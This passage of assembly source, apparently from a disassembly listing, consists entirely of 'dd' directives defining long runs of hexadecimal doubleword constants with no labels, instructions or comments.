		dd 8A436CC8h, 0DCA6F218h, 5038B059h, 95C5F4C2h,	18E7C789h
		dd 0D5FFCB77h, 0B9D4A9ACh, 4F3362CBh, 58986AF3h, 96D09512h
		dd 7E113CE8h, 8DF1962Ch, 0A4BAA05Eh, 6D5E2A3h, 0DF80EC0Dh
		dd 8051342Eh, 5FF2AC35h, 0DF101F00h, 0FC6FE90Ch, 4DE23771h
		dd 50A93747h, 0C67EB443h, 0B3613EA2h, 176600FEh, 0C3F0870Bh
		dd 0C4042F4Ah, 0E499C880h, 43696791h, 31483236h, 0E800A053h
		dd 91DC2EBh, 0FDC75EEDh, 13B80843h, 69B2B4Ch, 0C9F995D8h
		dd 0BF7D9AF5h, 0C942F0B7h, 0D8041162h, 97367498h, 8787525Fh
		dd 3A09C664h, 0F3CD48BFh, 2A512D25h, 0D432B277h, 0D581C418h
		dd 8AD16DF2h, 174BD7B8h, 0BD90439Bh, 48EBF8F6h,	54C38578h
		dd 0A9799F2Bh, 0DB52FC7Ch, 54E2706Dh, 0F8F586AEh, 225CE844h
		dd 0F5D5A6C1h, 8703CCB1h, 2696E69h, 9AB80D27h, 8E3CEB7Ch
		dd 7F5B83D3h, 334A7A7Fh, 339F5ACEh, 5662D2E2h, 2CA64Ah
		dd 0E66B4FAEh, 5B395A3h, 8CEADABCh, 0D7756A69h,	21AE2288h
		dd 660B811Bh, 0D4E47264h, 0BE7A8743h, 4060AFB1h, 4C41EFBDh
		dd 0F2CF5746h, 299E581Fh, 2136FC8Bh, 0A68D86F9h, 1BBA6436h
		dd 0D8064AB4h, 0FE8B9710h, 574CC327h, 0D9B66C42h, 0D9C866CDh
		dd 59A95090h, 608D6CCEh, 0F55AFD39h, 0F2937841h, 353142BCh
		dd 65C0C296h, 0E69C5BB4h, 6007EF03h, 950E266Dh,	3918857Eh
		dd 0E0F55B03h, 33C464DDh, 0D601AE13h, 0A16CBD15h, 1AABDAD2h
		dd 4828466Ch, 0DF0486DFh, 0A8601A3Ah, 8BFB7CA0h, 0D41354Fh
		dd 96E3EF68h, 2F5A266Bh, 0ED0ACA29h, 0F99FA4EDh, 0CA10309h
		dd 0BF644282h, 817619D8h, 96B56B9Ah, 1C07784Ah,	0A056E6BAh
		dd 0ADD7E11Ah, 7AB1EFA6h, 0F7049AE2h, 0C3F668C1h, 861C3AA5h
		dd 61CD763Bh, 7814F25Ch, 0A84BBCDAh, 0F0E52991h, 528509ECh
		dd 0F21D5720h, 7E08C4AFh, 0EA03E1DBh, 0B4F2046Ch, 0FDC44DF1h
		dd 0DF4AC321h, 10379560h, 1D59B303h, 819A34C2h,	875CE727h
		dd 719D87E7h, 39737F9h,	0A9CB8CFDh, 2D917394h, 0B866F164h
		dd 0EC232E97h, 0CC2AA4E2h, 4C7A42E9h, 2EBF6528h, 2964F1F0h
		dd 93F7F0EDh, 6986ABC7h, 2E46CFF2h, 1174C3E8h, 0FAED41F4h
		dd 0E0A94786h, 0C5390876h, 5A799214h, 4B46D2C8h, 0D94BDBE4h
		dd 0CC61AECh, 1E290CE7h, 9157DD4h, 0B1FA2347h, 3C68BD6Dh
		dd 2263CC0h, 3D7F0B34h,	72540927h, 57F4637Dh, 0B60F5B2Dh
		dd 0A1972A7h, 0F6D98437h, 0CAB05C88h, 5A14F00Ch, 0B08F8857h
		dd 75D0731Eh, 2B6B67BAh, 0B4D3DD15h, 444A2BCBh,	89C4412Bh
		dd 9A2D25CAh, 53E68212h, 9AA76D1Dh, 30DD3A6Ch, 976A188Fh
		dd 0C1C96651h, 0F1AE2FFBh, 0BBEE209Ah, 1E55F820h, 89031D00h
		dd 0A0A28671h, 0D8747B3Ch, 8486719Ah, 0DD127301h, 28667280h
		dd 828A78F9h, 7C7AED8Bh, 74DE0DD9h, 2C4F6B83h, 2459C4D9h
		dd 0A431A33Ch, 0D390C15Eh, 24BE62D4h, 0BAF01902h, 0D086C18Eh
		dd 0EB576Ah, 19813E63h
		dd 0A7D48154h, 0DA1E2941h, 0A78FB75Ah, 3E5B94EAh, 38F67CC9h
		dd 2AAB3931h, 0D305B938h, 0CF6A0016h, 0AB6F2C61h, 8391A642h
		dd 46C41287h, 0BAADEFFCh, 2D787AD5h, 0EAF52D50h, 2AB455DFh
		dd 0B12E3434h, 350A70F6h, 0DFD5EB9Bh, 0C0FA03B3h, 1AD2859Ch
		dd 111A2752h, 5657AFF5h, 0DCC0C910h, 377ADCCEh,	2B0E5BD7h
		dd 75AC70BBh, 13DC3E4Ah, 0EAFC37D6h, 0AE88784Ch, 328C3DB7h
		dd 4697D61Ch, 5890CBDFh, 0B6105D3h, 0F677E5F7h,	3EF3927Fh
		dd 188D86CFh, 7910C0A1h, 1472D473h, 63488761h, 1C91A0CCh
		dd 24470ACBh, 1E0945D4h, 1ECE5BB5h, 1CF25AFCh, 0DBA3099Ah
		dd 331E577Ch, 80151E11h, 0D02D4629h, 6F349EB3h,	6C609231h
		dd 59CA1DD4h, 54463BB4h, 91E286A9h, 67B8CEDDh, 40753113h
		dd 162B321Fh, 236A363Ah, 0A1EFB69Bh, 0ACC6B77Bh, 0D3094DF7h
		dd 561803DFh, 5503F29Ah, 0A30BF6AEh, 6705A8BAh,	13C5A369h
		dd 0A6F2FABDh, 0B46D8D40h, 9BD265F8h, 0A9C1F595h, 8F8DDB86h
		dd 141D5ED6h, 0ECE7E232h, 0F3EFCA67h, 0D745A879h, 0DEF6C2E1h
		dd 20F80F63h, 0B45FFE19h, 0EA6C0h, 0AA7CBD64h, 0B82BBF9Ah
		dd 0B3ABE0BAh, 9B985275h, 960998F4h, 7FC31DCDh,	7EC92DE5h
		dd 5F38F7C3h, 0A9B1DE34h, 62B07362h, 0FE521483h, 0F2DA91F3h
		dd 70ADA61Bh, 72CCA32Bh, 0F3FD8319h, 0CA64F13Fh, 0B4DB688Eh
		dd 17A7E7D5h, 506C8A2Eh, 207622F7h, 0BBF65E76h,	8937E5AAh
		dd 0F7B7088Ah, 394D9A21h, 0DF0A2930h, 866CBDB8h, 3933AB7Bh
		dd 0D496C539h, 0EF3256D1h, 0F6DB1F0Fh, 320DE331h, 1A67C7ACh
		dd 2346AC1Fh, 0E485BD0Bh, 17AD7191h, 0D9604672h, 0B2FB2FDEh
		dd 393D4A13h, 3A353999h, 15328EE1h, 5B16040h, 89CD0F74h
		dd 0D5D34693h, 71D3C022h, 0D7D7D0E0h, 39F36325h, 256998D1h
		dd 0C2F7ED7h, 5797BE40h, 0C726D83Bh, 0CB50CC88h, 0FEA90AD2h
		dd 8BC9CFBh, 5B0B3CB1h,	192E89EBh, 43FDC849h, 0BB5B3E4Ch
		dd 8DAC531Dh, 488F1019h, 0DAFA7AA0h, 0FA518038h, 0EBFE1EF9h
		dd 0BC91E092h, 60D4397Eh, 5DAF7443h, 21292F5h, 409D4EFDh
		dd 0FA979A8Ch, 0FA1DAC35h, 3F103973h, 0FA56E528h, 0D562551Bh
		dd 53E48F2Eh, 83CEEF77h, 6AF0E37Eh, 74964A2Dh, 0A16EE3F4h
		dd 8C604848h, 640C0019h, 0B3FD681Ch, 7E9B7D67h,	997F70D5h
		dd 33BFB710h, 7338E0D5h, 43C5959Dh, 6702FDD8h, 99AED4Dh
		dd 97E91E12h, 75C3198h,	0AA1F7F05h, 52198Bh, 8DDEDAFDh
		dd 0E49307D8h, 0B776D9E2h, 75D9B642h, 266498E7h, 48884993h
		dd 0D938278Fh, 0A789E576h, 0D944DF42h, 6623BC7Fh, 0CEFCA640h
		dd 0C6A37492h, 722D0447h, 658E70FDh, 1CE4595h, 933D5B67h
		dd 4EB6B23Ch, 0F61FBA44h, 81CDC408h, 2F11445Dh,	8CD4C39Ch
		dd 94E9D9D6h, 3F3AFBC1h, 0F5B45E94h, 321DC7CFh,	0C15C579Dh
		dd 95B9A9BAh, 7220A421h, 126D7E30h, 0C4F75E9Fh,	0B829F135h
		dd 8A36ABCBh, 0C1ACBABCh, 20506448h, 0D8260F9Bh, 23C8A98Fh
		dd 0CE70E53Bh, 6BD04D7Eh, 3C0D69F6h, 0D1AC8E96h, 782781CCh
		dd 0CB01B82Fh, 184C1233h, 4E90BCF3h, 0A9FF71BDh, 45D2DDFAh
		dd 82E71418h, 120A8506h, 0D3971425h, 9B098B8Ch,	5AAD06D3h
		dd 0CABDB4D6h, 0DEE4176Dh, 889F536h, 25AA790Bh,	62ECC3C2h
		dd 371BEBEBh, 2CEB222Ah, 0A5E1C016h, 0F3D5993Ah, 968272E7h
		dd 0F177640Ah, 9F34B72Ch, 199C3979h, 13FABD69h,	4EF829F5h
		dd 6C7C9B60h, 0AA944A95h, 7190C557h, 0BB6766C7h, 69806A59h
		dd 0C382803Ch, 871D3FF1h, 7B979F5Bh, 73B44395h,	3CF6EBAh
		dd 4013716h, 7D1F6BAAh,	5FB25910h, 0F9F3A5A8h, 1CD28854h
		dd 4C76D061h, 66CA4F0Eh, 0BFD06F2Bh, 883BBC6Ch,	0FF73141Ch
		dd 8E1DDA12h, 0E2E6E100h, 16C69C6Bh, 0F596A96Bh, 4E85A147h
		dd 0C13C98ECh, 7398D733h, 0D4EA11E8h, 0BAFE5F4Ah, 4912EA0Dh
		dd 44454A3Eh, 4D88BDAFh, 5B3E3C33h, 0C8E14C77h,	595FCD7Dh
		dd 6BE51168h, 16A665B5h, 9B3E42B3h, 3678CC4h, 0D5181B90h
		dd 71D34F1Fh, 3B1A3996h, 0C1BFC93Dh, 0D3AA92D7h, 400A1D42h
		dd 0D2E89D9Fh, 6E1BEB20h, 2D1CB5E0h, 32243BC8h,	81F819AFh
		dd 3205E863h, 5CFDCB02h, 0AFF6A0B0h, 27542096h,	7FB9213Ch
		dd 698748F3h, 87135272h, 13D36A5Eh, 0E24BFE66h,	132928B9h
		dd 51A475B1h, 0DB58A32Ch, 16049828h, 0FC39B228h, 566F12C3h
		dd 5A73A39h, 0B16B103Fh, 7C551861h, 93FE63C7h, 78AC1490h
		dd 3BA45AFh, 0BBAE7CF9h, 0FEA0CE93h, 53A3E903h,	0E528BE22h
		dd 8D6AD080h, 3EB456B0h, 41FC1E73h, 0C2541BE3h,	83C83E3Eh
		dd 0BDDA8B8Eh, 9FE17189h, 7FD37A5Eh, 300CCE39h,	985FD22Ch
		dd 4EEA2A81h, 23821B77h, 7E7C11C4h, 1B879EB6h, 0C0F6D8F5h
		dd 59D6F3F5h, 9107A404h, 0E77A2CB9h, 7F75DF8Ch,	31DD3F26h
		dd 0D99476D9h, 365C4B08h, 0C8272779h, 0BA8A5E2Eh, 24E3BBFCh
		dd 45D841CEh, 945662FBh, 0DF089EFBh, 0C7D05371h, 278F886Dh
		dd 0B73B8110h, 0C2C68ADEh, 25D9E46Ch, 275DDD3Bh, 6C8B8CE1h
		dd 3AFDF1D5h, 47A95FBBh, 65FE0871h, 19111654h, 0C47A0992h
		dd 0AC12AFE8h, 44EADB62h, 31EE8805h, 0DB061A01h, 0ACB17BF7h
		dd 0BD15A76Eh, 3371A5Dh, 0A3FE421Ch, 0B899BCFEh, 0B5B4D342h
		dd 0BF11D8BCh, 62B47285h, 7C80BED2h, 0DE9F7711h, 90AB5979h
		dd 0E08B0BBBh, 5A8D013Ah, 9DD60439h, 0F1FA3DC7h, 0BFD5AD41h
		dd 0B701BCA7h, 0D32069DDh, 0F976B324h, 990FCB88h, 1B101A2Fh
		dd 0E10977Fh, 9639B524h, 0E48A81A3h, 6F45C23Bh,	0CE2F54DCh
		dd 2F416159h, 6217FB66h, 85FAA535h, 0A1CE592Dh,	5D50814Eh
		dd 21FA4A90h, 385DB9FEh, 602E84B7h, 0EF3A45FAh,	58D63476h
		dd 0C05219ACh, 0B4D22EECh, 4C4D2788h, 81B4A8B1h, 74925172h
		dd 602BF96h, 1A53B1E1h,	3CD2A5EAh, 63DFDF0Dh, 0D38B46E1h
		dd 470F2160h, 0CA2EA18h, 0D6B6053Ch, 4460D42Eh,	0CC958161h
		dd 529CA549h, 805F50ACh, 85DAA4C4h, 71941829h, 3821B4BDh
		dd 0ADC9792Ah, 5806CDEEh, 98BD39BDh, 3043CB38h,	5D1813A0h
		dd 4019B3D5h, 7F6E446h,	5B14ED6Bh, 5C9A7C38h, 2761A49Eh
		dd 9D3DF7D6h, 7F7DA2C6h, 7344096Ah, 98E0960Ch, 4D54695Ch
		dd 34562E1h, 0BC7F5823h, 9D2BFB9Dh, 1F885AB7h, 0ABCD516Dh
		dd 29D71A31h, 342AE0AAh, 0D4C6371Ah, 0AE13E60h,	9E1208F8h
		dd 333EEBFDh, 7AB8FD1Dh, 0CCCB94Bh, 33C1164Dh, 39C237AAh
		dd 9EE23DF9h, 29C0E9EBh, 0BC313173h, 0BB1C9BC0h, 289D9A6h
		dd 7349886Fh, 98E1D856h, 0C830E8D7h, 6813C10Fh,	97D94901h
		dd 0A14F7DCCh, 0CD8E70A9h, 0A52182E6h, 0DC241C2Ah, 573290FDh
		dd 55CB48FCh, 1BAF8C9Ah, 8D1707E6h, 5FAAE23Ch, 5E236BC9h
		dd 968E43BBh, 595DF5BEh, 7083B8ECh, 17E5071Ah, 1B4A2F9Bh
		dd 63465EA0h, 0C8E30B69h, 1C27B81h, 67605C6h, 0FD687C52h
		dd 0D7A75BF0h, 369126E3h, 0F5652F99h, 0D75384CDh, 5ACDD42Ah
		dd 273C0ACBh, 0B7B2C50h, 1F84CC8h, 8C70E829h, 0A080F4B7h
		dd 69A1E0DEh, 0C658C54Ch, 4BE7343Eh, 3FFEC992h,	0D11EF33Bh
		dd 6AF43CECh, 0EFB95FDBh, 4409E7A7h, 21CF08AEh,	10CA0363h
		dd 84979E39h, 9D2CD90Eh, 7CB44ACBh, 56129238h, 78BA8B2Eh
		dd 0C38ADA15h, 22142765h, 0F5EE0BEh, 3433EBDAh,	68C5B074h
		dd 0B564ACF3h, 11F0528Ah, 57D38C3Fh, 0DF6DC84Ah, 12736CBDh
		dd 0ADB47DAh, 0A4ABE506h, 9C6B3105h, 3C0509FCh,	97BF40DCh
		dd 12B5721Bh, 0C1D40213h
		dd 0CB86F5C4h, 5CC5E81Ch, 0BEB85726h, 0B801D0BCh, 749C0129h
		dd 4A6EBFF1h, 1D5F722Eh, 7E3C7324h, 21B6D5EBh, 0E43F03E1h
		dd 0CB3C2BAh, 0A348DFEBh, 0CAB2FA33h, 0C5D86F3Bh, 74505508h
		dd 0A02E1918h, 1B6AAEA3h, 246E7B61h, 0A97A188Dh, 7AE344AAh
		dd 64B93D8Fh, 975E1509h, 41848B4Ch, 90784126h, 0EEED50D3h
		dd 0C089D32Dh, 0D1B45357h, 403302F4h, 0FCD9F740h, 0C4481AE7h
		dd 0ED645A1Ah, 0EFCD009Bh, 52550FE9h, 18AD28AFh, 9FDB7C5Fh
		dd 0C654EF6h, 0AD9CA009h, 94BB392Bh, 4EAE9CF6h,	0C79EE880h
		dd 4CBF7242h, 9F99745Ah, 0CB56031Eh, 0FD2F76B2h, 0C4018932h
		dd 0F5D4B02h, 0B75C0239h, 0DEB73723h, 29D21F5Eh, 5570F9DBh
		dd 0FEF776F2h, 0C050FC09h, 0D151537Ah, 0C69560FEh, 550CA89h
		dd 764D9DBh, 0B8941FFBh, 8E6F7D99h, 0ACCE6480h,	0B962FDD0h
		dd 368A95AAh, 3E313E99h, 25761139h, 2120D36Ch, 2D1D26A7h
		dd 0C4B17994h, 0D589C9E1h, 49810AC9h, 985B8285h, 0A4844F23h
		dd 63C57C84h, 2BA4AD9Eh, 2EA72CFDh, 47352A75h, 9326410h
		dd 489EACA1h, 9FAC8250h, 0ED0A7CBDh, 1792FA90h,	6C20C6D0h
		dd 9205763h, 5D886CB8h,	3CA6EAB6h, 8AB556FDh, 0A51DFE02h
		dd 1B2D84E6h, 433136E9h, 8DFDF02Bh, 0D7CACDA3h,	0F2994DE2h
		dd 7FEF3416h, 0A9C54FF6h, 4A58D701h, 0B07AAB2Fh, 98F1BE11h
		dd 3ED346D4h, 3EE6650Ah, 7CC2190Ah, 1415D556h, 0AB8335AAh
		dd 6B67BB53h, 5659F252h, 0E6678FA8h, 0E960FD81h, 0B89FA10Eh
		dd 0B4CBE87Eh, 23D43073h, 4792A50Dh, 0F1B93007h, 0D2E8D9CEh
		dd 0AB77DD1Eh, 399B6705h, 0CC3CE67Bh, 0CC7995Ah, 0C3FC063Ch
		dd 0FE0BCCBCh, 0BD8E64A7h, 0F92FA10Ah, 3B1C9304h, 2F891DD5h
		dd 0A6A02988h, 0C7D3BBE8h, 0B3CBAE91h, 5C1AEC3Ah, 7D629740h
		dd 41277E00h, 9A825615h, 46B74B29h, 0D39D00D8h,	5409DA33h
		dd 78B63711h, 40957A09h, 0D2211B68h, 0C3A0EF3Dh, 4275B0C6h
		dd 936FD3BFh, 1226D6Ch,	72AFD0C0h, 2D98EB7Ch, 885558D2h
		dd 7D884AA7h, 40CCE480h, 9E90C915h, 0A670F4A0h,	0E24E9373h
		dd 2088F85h, 1922645Bh,	0B67135FAh, 0F479FF7Ah,	3E2AA817h
		dd 4DAFB646h, 0BF30AE61h, 90D60AF1h, 0E0FF6B4Dh, 0C14E8D25h
		dd 45ECB71Fh, 23DCF8C9h, 71D984FBh, 987A596Dh, 0B9C0CF91h
		dd 0D425DEFBh, 25D60A11h, 0D4A179Ah, 0FBD55FF2h, 0EB90A207h
		dd 0F6AB31BDh, 0F4513F12h, 0F4FD6D99h, 9CB51A4Ah, 0EDEF77E4h
		dd 33613397h, 0BC8DEDEBh, 0D211479Fh, 0DF3E1136h, 764D1AADh
		dd 798BD9B5h, 0E055F25Dh, 8E50868Fh, 1CDF1652h,	0EE87446h
		dd 0C9AE507Eh, 0BDAA95Fh, 0ED7A2370h, 0BFDF9D6Ch, 0A855E83Fh
		dd 90E4D6Eh, 8D9A9BBBh,	6B80C72Bh, 0D25CCB53h, 0EFCA80B8h
		dd 6B340736h, 59E6D292h, 53BD9CD8h, 2C0234C6h, 5892B8FFh
		dd 3AB6ACA9h, 0A57EC8C3h, 0F0177A26h, 0A56FAFB7h, 3BC9E2C6h
		dd 9515C384h, 0AC429B7Fh, 206E5BB3h, 27283EDh, 4EC05FF1h
		dd 0A4C264F3h, 0E5EA0D66h, 0DA732ED2h, 182C60BDh, 33FBE70Dh
		dd 0F2BB15CCh, 0A997696Eh, 0A4BABEF4h, 69CF3F67h, 0D7AF358Dh
		dd 0D77D6336h, 8403F097h, 25C83444h, 6CD9060Dh,	0C7D9D62Ch
		dd 14D365ABh, 0E917B4B1h, 4979146Bh, 333506B4h,	3D2473FBh
		dd 4A644EE0h, 0D2C2691h, 3C0D3701h, 8905184Ah, 85D7D048h
		dd 60E305EBh, 4B967541h, 0F7CAF4C5h, 7FB83E1Ah,	49B6F39Eh
		dd 0B9420123h, 0A8F49F9Ah, 30C9E188h, 0B9F6B58Fh, 191266AEh
		dd 0E2F046E4h, 0F3E2EE9h, 0E89B11B6h, 8994ADC4h, 7EADA6AFh
		dd 10414B5Dh, 0A1635C82h, 0B603EDF3h, 7AA4D503h, 0F3B9C29Eh
		dd 81FF29AFh, 3AEB2F9Eh, 0BE8B9017h, 0F8CAF7D6h, 0B0405664h
		dd 0C050CE32h, 86DFB1A0h, 6F974C8Dh, 0A9E6AEA5h, 3D93D71Bh
		dd 59848249h, 268EAB98h, 0BBB342E4h, 0C2249125h, 3E5F03DFh
		dd 0E38674FCh, 2FA37A96h, 0A420FAE7h, 48296E0Ah, 7D5C5C4Ah
		dd 0AFAB66BCh, 0D45FC930h, 1045ABA7h, 0FF3F0762h, 7635051Ah
		dd 0B87842Dh, 0B0533EE1h, 3DC83090h, 5C1FC139h,	0CE586556h
		dd 85953B86h, 0C7CB5A7h, 6E672949h, 2634E872h, 0CEAB3DE2h
		dd 0C897E1F0h, 46709E02h, 0DE17E7E0h, 0BC3D2619h, 15A8FD60h
		dd 9303525Bh, 39D1EC53h, 0F1DB8FEBh, 0EBAFEB2Ch, 609A1D5Ah
		dd 0CA7A0Fh, 5DF3636Ah,	0DF28FA6Fh, 1A83485h, 0A4542F8Fh
		dd 2DB845B1h, 0F5C697C6h, 0E7302968h, 39E3DD58h, 0BB2AAD9h
		dd 7B720AE8h, 8BBF4D89h, 7E9921C3h, 97C9D979h, 0AE72D67Bh
		dd 8E4401Fh, 0D48EA30Fh, 0F060BB9Eh, 0AA2B6A3Bh, 26E0FBBAh
		dd 1605C62Dh, 572D51EFh, 9A83E5C2h, 325FE379h, 0F99E739h
		dd 76A4657h, 3EE6696Fh,	0BD9F7C7Eh, 4F0121A5h, 7429872Fh
		dd 0F3E1BA7Eh, 0F3255A01h, 2B8BC2DEh, 97CDD77Ch, 0FEE081A9h
		dd 58EF8747h, 34DB5DC1h, 207B4F83h, 0CBB535B9h,	0F6B94FC8h
		dd 91666A61h, 6C016280h, 0CD341C8Dh, 0E9B87BDBh, 0CB5F902Fh
		dd 0B283604Ah, 0AF490288h, 0F403222Fh, 871C879Ah, 343F75A9h
		dd 62EA9782h, 2C9909Ah,	1E21C2A7h, 55AF0590h, 0A8673A09h
		dd 7C723D5Fh, 13712592h, 73915498h, 452DB49Bh, 84D40305h
		dd 88EB0367h, 357B79D2h, 7CAB5354h, 37352C51h, 454F7203h
		dd 80AB9213h, 1680Eh, 0B5FFFD8Eh, 2BB7D7F8h, 43B6BAE5h
		dd 8F194B43h, 0D878B23Bh, 4567E71Dh, 0E42BDF25h, 0B60273D8h
		dd 69ED708Dh, 40628BFFh, 0DDF450FDh, 56CFCDDh, 0EB20243Ah
		dd 1C8DB98Ch, 0FB759DE6h, 54DF885Eh, 0C01A903Bh, 2B770B9Eh
		dd 5CFD5BEEh, 35FB837Bh, 0FB15B82Dh, 0E7FFF238h, 0EC26471Dh
		dd 569B27A0h, 0CA800E84h, 2164C1BCh, 0A28D4E79h, 1DBB2BA4h
		dd 0E94C98E7h, 1273D135h, 51CB9F49h, 207D259Eh,	0A1A5AD06h
		dd 7ACCA2B9h, 0F83D1921h, 0E09845DCh, 64184FBDh, 67397CFDh
		dd 0A4DA8919h, 97613E85h, 3C765687h, 0F36AD104h, 0B0B12638h
		dd 1B9C40DAh, 4B1FDEC9h, 0DC439FCCh, 72369EF4h,	0B40FEBE9h
		dd 0CFA76DA4h, 535A6087h, 0A91102Bh, 0F52770DCh, 7C9DFFE9h
		dd 0A8B1F76Fh, 0C16BB74h, 0DC6164A5h, 0EEDBF87Ch, 781B1B2Dh
		dd 0C34D5A6Eh, 8C33B148h, 0E9B20AB6h, 113CEBD0h, 4169564Ch
		dd 419EED44h, 75D28A0Ch, 77C0A26Fh, 1C34A9D6h, 151B99FEh
		dd 60F29660h, 4B2D1A60h, 68B696D7h, 9296EB19h, 0EC67CBF6h
		dd 0F9213AA6h, 35285C01h, 1B94B550h, 0FB53BB77h, 9FE709FCh
		dd 0F4723248h, 1EB8B64Ah, 0D77FA037h, 0BFEB8F81h, 0F617DDAh
		dd 3C4E203Ch, 0A4171127h, 4F8D6DE7h, 80D2520Ah,	1F6DAF59h
		dd 6A02D93Ah, 540258DFh, 8570B672h, 544B5DCDh, 0B7A7A768h
		dd 91F0BBEEh, 0A61A8145h, 5FF6B340h, 0DC37ABC6h, 9B8F64B5h
		dd 6F1DC97Ah, 6F6E5A96h, 0D63975BCh, 7623726h, 0F8F0FF1Ch
		dd 7069A8C7h, 0E0701C61h, 7326512Bh, 7C777612h,	0C15BA0EBh
		dd 7DE54628h, 40151B1Ah, 516F81E0h, 28EE8FABh, 2D056E69h
		dd 8F61B5D8h, 76C5EF05h, 0D0EACAC5h, 0EE30BCBFh, 7FD67C7h
		dd 4141D8A3h, 715BE75Dh, 0FFE1345Dh, 60C50048h,	534F858Fh
		dd 5C199722h, 7BF23547h, 4B53757h, 47B768BCh, 0CC7E76ABh
		dd 0C2080150h, 52674D80h, 0EE8DC565h, 6589045h,	2FDEC007h
		dd 0B021E6A7h, 0B7825182h, 74FA4501h, 0E5A7E8FDh, 984807C0h
		dd 0EE56210h, 2312A5ABh, 0C8E61AAFh, 70ABE527h,	0ED48F848h
		dd 0F153E464h, 0C78F2A91h, 818447D0h, 76809A24h, 73D2890Dh
		dd 63102564h, 0DFAAE3B2h
		dd 2C47F8FFh, 0CFF87268h, 0B1CBA3FFh, 0CA05BB61h, 6D621E9Ah
		dd 730BDD3h, 0B8307D08h, 6BE66421h, 5F0A45CDh, 0A85DE3B8h
		dd 7509A35Ch, 0CA85528Eh, 0B9C06BAFh, 1389D9A0h, 5B64150Fh
		dd 5DBF3C3Bh, 98D09F54h, 0B5F8AA8Dh, 0CDD44EEAh, 15F40A3h
		dd 9406F0DCh, 61A66DFh,	6FAE0FCh, 0C4B10A48h, 6BD9E138h
		dd 0EC449D5Ah, 0C2E99869h, 0DCF8E4Bh, 0E9D7D3E0h, 5C48F75Bh
		dd 0E27183A1h, 1A2B1440h, 65343CE1h, 0B94CB050h, 5155CF24h
		dd 73BAA4DCh, 0E0523AA4h, 158A4D49h, 5A803E7Fh,	0A4B1F1B5h
		dd 0A8AC0793h, 1823C09h, 0A18E5F82h, 2E17CD04h,	77E7A3E9h
		dd 6AA4D3B5h, 60543F33h, 0C2D6A465h, 0D04A7B67h, 329C07E8h
		dd 0D1E607F9h, 22B1482Bh, 0F92A9446h, 0E6D231D4h, 57C18FDCh
		dd 7FBDAB5Bh, 0A125D32Ch, 9738F153h, 317BB788h,	641822F0h
		dd 9FA511E7h, 0B307FB81h, 59F13D85h, 0EF8BA6B7h, 0E913C04Ah
		dd 0E95255A4h, 207C97B0h, 9C52E486h, 0BD355FA8h, 0F592B0C2h
		dd 9F3685EDh, 5EEC9E63h, 6E6D029Ch, 0BB0F6957h,	97B2072Eh
		dd 0FD51145Fh, 156F44F7h, 69881FB5h, 0C3DEF3B9h, 818166ACh
		dd 65F7431Eh, 282DACCDh, 13991507h, 5914432Dh, 90915043h
		dd 0D824CB6Dh, 183BAB01h, 5F65B25Dh, 73D270E3h,	0E8B45316h
		dd 4994C780h, 47571FF7h, 7FDCD71Ah, 0E8FB3637h,	960B5E95h
		dd 0F2A67889h, 461A6C35h, 0F64AD22Eh, 9EDABD1Bh, 6CCDAD09h
		dd 0A1DB15ADh, 30A3CA5Dh, 79419F7Dh, 0AEF5F889h, 0A4A8712Dh
		dd 8A50154h, 0F3DC1121h, 0DB8C9F8Bh, 1BF526A1h,	5040E3A6h
		dd 83B35505h, 121A48A2h, 0E49791DBh, 0F2AC3DA0h, 5E87BF13h
		dd 0DF5368F6h, 0D4644A67h, 5744A201h, 5CA37F71h, 7A3EEF1Bh
		dd 2537C01Ah, 0B07040C5h, 0CE5B1B6Ah, 0F1ED269h, 7A9F34h
		dd 0EE83035Dh, 1A67F75Ah, 522E6077h, 18B55953h,	0E1A2DE97h
		dd 24EB2265h, 2EBD2149h, 0EFFF3BEDh, 0BDAB1E3Bh, 51FC3595h
		dd 7354E245h, 0A1992ABAh, 76C72C04h, 58DC5622h,	0D254EDDCh
		dd 0E840462Bh, 0F8AD1415h, 57DDA4EEh, 0DF9B7100h, 0C01237DEh
		dd 0C720AD1Eh, 0EEDED3E4h, 5DF0C7BDh, 63FBECEh,	1182113Bh
		dd 93E6DEAEh, 2A9FE0B8h, 86CA59ACh, 0F499E8F6h,	423F0E94h
		dd 0CF275549h, 8C0D2B67h, 0AB0F381Ch, 0F9D5F494h, 824EE36Ah
		dd 72A18963h, 342A40E4h, 66E30E0Dh, 90185B58h, 0B81A6156h
		dd 60233691h, 0BA3CF3C6h, 4BC7D1C2h, 9B40ED41h,	638BFCF1h
		dd 6512B10h, 0B1A179F8h, 0AB00246Ah, 0ABB21D27h, 67169BA8h
		dd 50F4CBC2h, 8EFBE68Ch, 56B48813h, 62810810h, 0DCF0EA7h
		dd 0C1DEF684h, 0D5DF947Fh, 0B2CD896Eh, 0A11F75EDh, 8E67C2A3h
		dd 0FBAC6324h, 0DD84EE54h, 55C5CDBEh, 622FF5CCh, 20BA3ACCh
		dd 267D2E3Dh, 0CDFF1BD7h, 3861FA3h, 0E076CBF8h,	0A0BA2913h
		dd 0D3E6363Ah, 50D6CE4Fh, 6A8CA0E1h, 0AF21D46Dh, 4F5AE38Ah
		dd 3409AB62h, 37A200F1h, 69BE618Bh, 20769578h, 0F03180EFh
		dd 4A692A00h, 0B423DF58h, 0C4A8EA48h, 0D180FB2Ah, 0E523E606h
		dd 51572339h, 87CF5E84h, 0B94BAD07h, 96CA82DDh,	8F62CD9Eh
		dd 1644EA3Bh, 6082DE77h, 993C6F7h, 1EEA20A0h, 0A01E29ABh
		dd 21525FC7h, 0F71AFE68h, 0B4916C4Ah, 2967060h,	2F624827h
		dd 3B85C51Bh, 9E2CD3Dh,	68426166h, 0B60635A0h, 9F06B580h
		dd 5B7687DBh, 0A8A1F3CCh, 0FACB0855h, 5F9ED12h,	796A02F0h
		dd 0CA7BFBCDh, 126B88B1h, 5A1A2DF7h, 89056686h,	0FE61FB26h
		dd 774F6DA0h, 0ED14896h, 0AAC6F9AFh, 49C412C9h,	30A5B041h
		dd 0F980A4B5h, 1A92C16Ch, 28C6334Dh, 6DAC2C22h,	0D1B2E772h
		dd 5E11BD79h, 4EA5EA5Ah, 0BD8FC6B0h, 0F97A8FFEh, 72384E1h
		dd 538B8DFDh, 0F8D2B433h, 0C0187DA4h, 8BF0BDC0h, 0E941B54Bh
		dd 8941ADE4h, 0AAFFA251h, 4528A522h, 9F0E16DCh,	2DC85329h
		dd 0F90BEBF6h, 0E2CF9D46h, 67D5C3C9h, 66C2ACE6h, 0F5543314h
		dd 5889944Eh, 332CBC50h, 0E375048h, 5D95B972h, 8B471AAFh
		dd 0A3A7F82Fh, 1897E959h, 0B9C24DDAh, 400D8B0Eh, 30318774h
		dd 87AD309Ch, 54FF5D33h, 0B95F86B3h, 46F8FDE0h,	6B0FED7Ah
